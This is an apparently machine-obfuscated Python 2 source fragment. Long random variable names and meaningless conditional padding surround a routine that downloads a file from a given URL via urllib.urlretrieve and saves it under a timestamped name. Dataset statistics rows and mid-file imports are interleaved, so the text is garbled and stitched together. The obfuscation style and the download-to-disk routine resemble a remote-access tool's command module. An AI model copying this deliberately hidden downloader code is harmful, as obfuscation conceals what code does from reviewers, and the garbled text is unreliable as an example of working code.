'MywGAsIPyspkFNFEkDSCOCTxSYzJuBxezRJVUDnCAPGCAOyTzTRVKRIuSkGzzSv'
]
for IDZADQHQsJIGHRmsybSFjjEiRrPvQHIuRhRNAEBzCBZUIyizAmlwVGRIRIxywvw in HvjBGqEJHURvEzHAdXnuvxFGBSViHIzHmrHSMqJtFMHGmSsCHvlSupqUrwmHsGq:
for FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx in SvEoPDmsIFyCRPRJoTQDFxhHsDZCOQmohLAGZxJIAplJRjmSFwxuHFLDrzmGJJH:
if ipEJIbJBpMeRJxrGlQwFyDHtxPHAFEoSOJFJGhxDJCAIXVkxCIOACHICnksBJQy == ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh:
FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx = IDZADQHQsJIGHRmsybSFjjEiRrPvQHIuRhRNAEBzCBZUIyizAmlwVGRIRIxywvw
elif ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh == FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx:
FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx = HvjBGqEJHURvEzHAdXnuvxFGBSViHIzHmrHSMqJtFMHGmSsCHvlSupqUrwmHsGq
else:
ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh = HvjBGqEJHURvEzHAdXnuvxFGBSViHIzHmrHSMqJtFMHGmSsCHvlSupqUrwmHsGq
for FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx in SQCTVEBSoIWzJfzFCvVoBDIzjqBgEsJHqwGoByumNuqIysWsCRYADzqTGRPtkCy:
SvEoPDmsIFyCRPRJoTQDFxhHsDZCOQmohLAGZxJIAplJRjmSFwxuHFLDrzmGJJH = FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx
except Exception:
pass
return 'Error: File not found.'
def BwtroWhMwUAJNCIxRHzhDBTSCJpUovQxSozAwFoJQVyMQrvQGDCJOCEBlQCVMfA(zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH):
if not zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH.startswith('http'):
oCqsEgDLzQDAXAizDEzFCkCWBqHRjHAcZEqZhOOupRIyPAiloYdVCHpYSnAyvDD = 'AJIyfJHfDAABGwvBLXssriBJqyvEHRBhDHxxRBYRNfOEwGwHABiyJGJJrZJDBuY'
QgQuPORBclHvfmxJxBvQuryLFCEJFznJJHOBAyQnuINtPCBFRmQrDAxuGTxnoCR = 'GoEEOSRwQGDOoJbrCqwDlHQWJFbtUXDntstEBsIxNwjyeIPEAJyUNGMWUkByElW'
wTxvzsJmRrwBwDxkJSzQWIRHDxZynxzwynJdgLDsSAGgUtHuGNHBXGGiMGDrCJA = 'oDmkcCIARRXQNNNjAEGzGEFfAkvVwyyqEmzGQsEHTBwhOCNvNjHzHELQUQJRuRH'
vQEuJmVNHwGxSSvyGIiHxugjUPxWowxUyNDEGOzCSjHgVJuIOFOPmwxnrLJQSqn = 'HzxQHDujIPExvxJAqzGCyDxWRRujIAHOCwSSxEOpuQBkGEjJozkAQJqprxDsmzx'
SGCHDsJGQwxGLlwkQmUqAkCoNpZltPEzutqDSwCGkJGYwGSYHSQEOSwrhQCYGtI = 'COIujqyApGWJukEhzGBrCvENSFJzzuwiEuJpwXwwUGpApAJQCRyluvvPIGttJGo'
RBCBHyyBIqvEAvMwGIPJQHwOqBFSQDstSHEBXWHlSDuGzHJNSmSkJvLQpyQGBlB = 'NgJqtDupNvMwHytQESHtHnEwOSFIwEBuxAmBlxzyvSGmRqQywFBJCUhZhIwFAIm'
if wTxvzsJmRrwBwDxkJSzQWIRHDxZynxzwynJdgLDsSAGgUtHuGNHBXGGiMGDrCJA == vQEuJmVNHwGxSSvyGIiHxugjUPxWowxUyNDEGOzCSjHgVJuIOFOPmwxnrLJQSqn:
for RBCBHyyBIqvEAvMwGIPJQHwOqBFSQDstSHEBXWHlSDuGzHJNSmSkJvLQpyQGBlB in SGCHDsJGQwxGLlwkQmUqAkCoNpZltPEzutqDSwCGkJGYwGSYHSQEOSwrhQCYGtI:
if RBCBHyyBIqvEAvMwGIPJQHwOqBFSQDstSHEBXWHlSDuGzHJNSmSkJvLQpyQGBlB == vQEuJmVNHwGxSSvyGIiHxugjUPxWowxUyNDEGOzCSjHgVJuIOFOPmwxnrLJQSqn:
SGCHDsJGQwxGLlwkQmUqAkCoNpZltPEzutqDSwCGkJGYwGSYHSQEOSwrhQCYGtI = oCqsEgDLzQDAXAizDEzFCkCWBqHRjHAcZEqZhOOupRIyPAiloYdVCHpYSnAyvDD
else:
vQEuJmVNHwGxSSvyGIiHxugjUPxWowxUyNDEGOzCSjHgVJuIOFOPmwxnrLJQSqn = QgQuPORBclHvfmxJxBvQuryLFCEJFznJJHOBAyQnuINtPCBFRmQrDAxuGTxnoCR
return 'Error: URL must begin with http:// or https:// .'
HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ = zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH.split('/')[-1]
if not HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ:
kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz = 'JJrOJGBFWyBiCgSFZFOGxNkOVwFEBJIJMiFOvtHwIrqOLJAExHuxFBlESGwIaSD'
vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = 'yyHBAQtCWpQvyyRTADIsBQBASkyGvCAErVRSCJdVpIyzrCXGRORqnChSGQEyBfx'
DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky = 'QGzEQBFbGREZQmAuJBpNYzvJnHzAFpFePBmIKvsnpBEHHfpPRyvCTBReozBGyXu'
sNDSPGJVSSBCGOuIiqyzIzHznuvqsoCCDnQzFWyNBhHNPVNSnXGDAABENziNHPL = 'JyJyzDEHEGwnsUBvGXEjskmVkGYDHHoOMuJmueJVGTuvCzYFBxJewUBRExtMsAw'
zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn = 'rCqjDwNGlOvqWyrvCQACRoBCSCCzMEQSRDzVSAqwEFEJRTHnyIQyOSeqxDIiGJQ'
if kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz in vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE:
kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz = zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn
if vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE in DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky:
vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = sNDSPGJVSSBCGOuIiqyzIzHznuvqsoCCDnQzFWyNBhHNPVNSnXGDAABENziNHPL
elif vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE in kJZzcHDGuyxCoDllHwjSyuqAXxUeAzsGzSJPrqiLAARvTDlFXpvuAMqJuFCmznz:
DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky = vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE
if DioDBEvICArFGoDyVWVIGlFopvrPQPDRPsHIsBAoQFCmPIHovidQRQIXyHlzIky in vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE:
vIHrVqVNEFHzECJzHQwVHVrPMnXpfSMztGOQqCtwSFJQDIRJuJAzQulHIAJuICE = zCBUZIzJtDoZvSCQzwCTEjmSRxIewyxolmReQtJpHCCmyBUpGItpqIzErwqqwvn
HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ = 'file-'.format(str(datetime.datetime.now()).replace(' ', '-'))
try:
JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM = 'PfEvtDBRaItrfGPHTkkAHqPzYvyNqwIoINIvSpIlgysFmkDyeOSjZDwGRIgFiTD'
uuRZGAzCytZNpQuUQmmyGqDLSRQJJyHHkyDEBNFIYWqtDuBCgHzutIJnDVREFPT = 'LIAzuuGiQBiExDZQtuNGSFBPQjFyzSEnYSSqAnBuCzSImQtiBwSOCfhCASQOJNG'
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO'
if JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM == uuRZGAzCytZNpQuUQmmyGqDLSRQJJyHHkyDEBNFIYWqtDuBCgHzutIJnDVREFPT:
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO'
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = JzRFzrugDVDyEDzGVzsAQjyrCGCRxBNkrFkVrFNJvARGCVUJHzBBGjmSCxASxAM
else:
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'hSpBOORLBEpSNrjLBwAHwRRDxNQvFyRtwLBwypiUluGqPqtAFHIIPwysFLAIIO'
HDAhsmMWkDqSFxvyFHfECGkXNJiJJrURDrGDznHlwHFtMusugJRzFwVGMCrxvLs = 'PfEvtDBRaItrfGPHTkkAHqPzYvyNqwIoINIvSpIlgysFmkDyeOSjZDwGRIgFiTD'
urllib.urlretrieve(zsCQvoXpDyupMoRCzCRABsrEHOPoArwsGJGIQEelOnHDABCprBHtGEQDxCvxhDH, HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ)
except IOError:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = 'BCRsWrHFCvIQHItOSlRvJSyMsTrQQkGCwoQDUtIyqstrUSHGJMpJwzRAywyPgpN'
xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy = 'LIzFCuayxRFBGuSSvAoGPsnipDRtHyhAyHjtyvGzEtowRIjPyDgRnyodHuzAXTC'
CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'mruYjVuAzQERGyNGBCIwAHzSSPDxDzBpQqNCENnGpzARYrJtUJQRqWBfIcwuykR'
uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = 'ROSCIVHsEQvIEAIGpDnARyxBROEmyJuwIODoSkAMFPQHvNCHPkNzHQARDzQRFLS'
if xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy == eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ:
for eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
if xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS'
elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS:
uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ
else:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy
elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ:
for CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
if uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS'
elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS:
uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ
else:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy
for CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ in xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
if uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS == xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy:
CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ = 'uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS'
elif CQgvTRwHFVADBXDkSRJzOIYlChCtXMnGSYeRJEStuXDqtOFZSBxItzuqTGzSpoJ == uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS:
uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS = eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ
else:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = uOFnLxPElfRDBIsMwOmEQpHWxmPBTqFWOBrHrgubkxJRAFNTVDRyCSvfDQCAxFS
else:
eFOyJAjpBXkCAIswBxOyaBmyGQRLEsGkStBazIoCEzDQRItSBRtBrSCDvFhJoGZ = xnwqznQFwSELtHIvzHhnMyBEwREuynhnTQnUWNDQvlShJyjRfJlYutSztSGyHFy
return 'Error: Download failed.'
return 'File {} downloaded.'.format(HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ)
| 120.489362 | 164 | 0.849461 |
CMHJDDuwtnJOJEgwAFzaRuhsJjPDDNqFVEICfSJnGHJHPCAGsGSltJJqzZSnBSG = 'SIxBtIIzPyYCFYIzthFRGSvFDDuFwBovWjGSmCEPSGJxOHPxQIdPvFRQipQUoSF'
tSfJpykyVzZUSAjLDRaOWJiRuFJvewFptEWFlGxrusCHsNtHZIEEUDvGgRsuxvk = 'HTTlzOPJtIHQDRIBqsQBxwSBFAWoADSnHsNVujDRuoGHJOSSPMmXGxSVpktJqC'
jyPSVREmREuSPOwjDnoEDRgMelDDDAxfDwQSrmTvIHRnfWGPxBIDDkuIChxowtq = 'BxDOFNFjyFJBgSGqHJGkBEnqJpIiGQGSorjDmIvGITqHugtIBnzCZGYJuzCGVzq'
FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD = 'EDPCLQSlOuCYBGJIQAzqDClCAEySREJSOGIrINFNPSBJkASeCvXCFWnCFJPHUJ'
RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx = 'xPoqwOHsSBnOLYSvhRElnoumSIASsDtxOuPvHmtmPoAPmzJqNduXySDQiqRDxPE'
qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO = 'GAluSGCowwqErAgJoNFLFyFTrirxkWzHJsRhJkIgyDUGwAACByPQIDvGtWzCCHC'
if jyPSVREmREuSPOwjDnoEDRgMelDDDAxfDwQSrmTvIHRnfWGPxBIDDkuIChxowtq == FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD:
for qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO in RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx:
if qHthGvfHSnALsnwLpODsukqmyOdtQHHPOFdxGjYvICQwHqzLIBGFirvhqMYSyyO == FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD:
RoGJGDsuAzSDzumEHyQQEsWAJqGrWRIHgJzEgoDRFsPCRLESEJtAEEAJRIHTGZx = CMHJDDuwtnJOJEgwAFzaRuhsJjPDDNqFVEICfSJnGHJHPCAGsGSltJJqzZSnBSG
else:
FSfHyDtGDDvqFjDJlCqxvyWCrTCrFGGqMEIvktRNKCOLtPGFSyAjzyGSFROoIPD = tSfJpykyVzZUSAjLDRaOWJiRuFJvewFptEWFlGxrusCHsNtHZIEEUDvGgRsuxvk
import datetime
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = 'iyGEgFrlTCsGQIESMwGGQUkoJRTxnGAvRGAGEwrEEvuorDDmDDzoAsHSEWzczjD'
zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF = 'yGCkISBCAAxRcNwrFCOpEwvSCNILDgBXeRkQvFxjEHVQGQHsrvoyJnNFsIFJzmE'
OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'DQAWGuMAGMmCtlvqQwfMDvsNVBGHiCsGAyCspHAuWwJFtJvFzDxIJKfJJNvUAJv'
QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = 'qyQSXriqzExEXExDkHHpGNGruDCzJzzqPIotADVnsEJHxOCQezDPrGFGYzySShJ'
if zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF == SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE:
for SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
if zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln'
elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln:
QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE
else:
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF
elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp:
for OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
if QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln'
elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln:
QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE
else:
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF
for OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp in zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
if QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln == zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF:
OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp = 'QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln'
elif OxVDvGNoZSpuAHQvJqIrLcitJPRIifjIDIGpTARxpGRlOJJPHuFCEUoxBXFIAPp == QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln:
QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln = SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE
else:
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = QqJFCzHHRySqzFGeSAyJGCDpzCuBsSGuASRSDSTuHECuwqiCqweGyQAuEBCYrln
else:
SiFWIDQCEIFIIFxzSmRIMIBuRpJJJSEEJqSPGuoFHCSiKsuWEJIEEyxrQJADaEE = zHyCyCFevxzqCJJfvAYIRyPszRkSIJQpINEwNqPzIFwYHDGweIDlKhaQxPtrYtF
import os
FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'ISFIAYAHwkEFiuONGFHqRAtVFXzyJDtHjzsFBnBESqBnIJkQIzDIwvAtglMGsPM'
kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH = 'yYmHmHmzHsESAFBzIDzIMQvkYvAcJFrQJuEmGdvsFktmJekdGIBqARfxZHERxm'
if FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ != kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH:
FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'yYmHmHmzHsESAFBzIDzIMQvkYvAcJFrQJuEmGdvsFktmJekdGIBqARfxZHERxm'
kSLEWpRHeRXUHOBLWwhyBoezpFXPujFAJFCgirJRrjDFByXCgDGFyjvUzHwvJqH = FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ
FsGQDyfYNTEvBCGmhqAAUnuQFRASmACpsPPRJzQtUBunnyuyuuuJikFCAxyJVGQ = 'ISFIAYAHwkEFiuONGFHqRAtVFXzyJDtHjzsFBnBESqBnIJkQIzDIwvAtglMGsPM'
import urllib
try:
EGGqVAoyFyPEHzxIGGxhJMCtHOvkRrCrOIoPAAEPrnuIRHvCPSUyGCGwsoCHtZI = 'TwOHNBAzVIyApyEDswDXBpQpOnECDHQWyouDxtuDolVxiszGyvxOyqzAAJFESCH'
ISUGFxDMqOHlCHGPiQExomOgzQJzDqGIMJupqewBqkGsyDjBqomvuSNzRgTNFv = 'xrIokGHUrFQECFJGQIGreCbIGWEmtoCcvENBAkGwBOuFZIBJIiMZIJCqVSpzmou'
GpItWGNvDEzHwFurCqBQnHEGAVoBqwInGSSUFEHbJxPuvIUqHemFDweuepgGEF = 'WrtuSGlSwnuszYqDRBGIEIfExoPQNgNmJIBPDiDBvDQQRHALxMuMkJHyHiADJRC'
BIuwFnluzoQzttQzSDDHurryGrSlBAIuREYnjWhRGuvjzGWuorrIJsRFvVqzIt = 'mgSgFIsuJsszAyeDxjFEjOfEeFDLnENdJoPkBHRXFQyCIGkKyRqIONJuGpzxqDW'
OPYEHPQySvnyHDtBFyADSDyEtJOjnnZDdyHsOUrCQoxSHPGOGTSSJoCFYBDFlxY = 'RAvGyqIYEvRyaRlLFEuBFZGgFRAMHXRFhrnEstrJIGRqCvCmHOFyrGVWGBwQGqu'
HRqYPRrlVPzYhVxFUszQQEPIyolQuFSvxFjEVtOSEAxESYENOCDfBBOJAIeWhDS = 'olGrlGNGEHmFaSIJZfHhuhPRQPEHEwDCGRynRfFFKsBJQJNDRpNGUEwooQOIxCx'
xJeGJRCpEDFVvNfOQSPHyCqHtQGDMPJuxyctBSZzSxZsyDoPBCEIvShCPykICgG = [
'TwOHNBAzVIyApyEDswDXBpQpOnECDHQWyouDxtuDolVxiszGyvxOyqzAAJFESCH',
